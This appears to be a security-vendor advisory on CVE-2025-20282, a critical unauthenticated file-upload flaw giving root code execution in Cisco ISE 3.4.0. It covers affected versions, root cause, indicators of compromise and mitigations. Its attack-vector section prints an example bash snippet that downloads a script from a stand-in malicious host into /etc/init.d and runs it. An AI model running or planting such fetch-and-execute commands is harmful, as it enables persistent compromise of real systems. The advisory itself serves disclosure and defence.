CVE-2025-20282: Cisco Identity Services Engine RCE Flaw

CVE-2025-20282 Overview

A vulnerability in an internal API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device and then execute those files on the underlying operating system as root.

Critical Impact
This vulnerability allows for remote code execution with root privileges.

Affected Products

Cisco Identity Services Engine 3.4.0
Cisco Identity Services Engine 3.4.0 Patch 1
Cisco Identity Services Engine Passive Identity Connector 3.4.0

Discovery Timeline

Not Available - Vulnerability discovered by Not Available
Not Available - Responsible disclosure to Cisco
Not Available - CVE CVE-2025-20282 assigned
Not Available - Cisco releases security patch
2025-06-25T17:15:37.490 - CVE CVE-2025-20282 published to NVD
2025-06-26T20:35:33.577 - Last updated in NVD database

Technical Details for CVE-2025-20282

Vulnerability Analysis

This vulnerability is due to a lack of file validation checks that would prevent uploaded files from being placed in privileged directories on an affected system. An attacker could exploit this vulnerability by uploading a crafted file to the affected device. A successful exploit could allow the attacker to store malicious files on the affected system and then execute arbitrary code or obtain root privileges on the system.

Root Cause

Improper file validation in the internal API of Cisco ISE and Cisco ISE-PIC.

Attack Vector

The attacker does not need authentication and can execute the attack over the network, exploiting the API vulnerability remotely.

bash

# Example exploitation code (sanitized)
wget http://malicious.example.com/malware.sh -O /etc/init.d/malicious.sh
chmod +x /etc/init.d/malicious.sh
/etc/init.d/malicious.sh

Detection Methods for CVE-2025-20282

Indicators of Compromise

Unusual files in privileged directories /etc/init.d/
Unfamiliar network connections from ISE servers
Unexpected process executions

Detection Strategies

Monitoring file system changes, especially in critical directories, and analyzing unusual outbound network traffic patterns from devices running Cisco ISE.

Monitoring Recommendations

Implement real-time monitoring with SentinelOne to detect unauthorized file uploads and executions, enabling quick identification and response to suspicious activities.

How to Mitigate CVE-2025-20282

Immediate Actions Required

Immediately apply the latest security update from Cisco
Monitor network traffic and file system changes
Isolate affected systems if potential compromise is detected

Patch Information

Cisco has released patches for the affected versions as detailed in their security advisory.

Workarounds

Disable the vulnerable API endpoints if applicable, or restrict access to the API to trusted hosts only.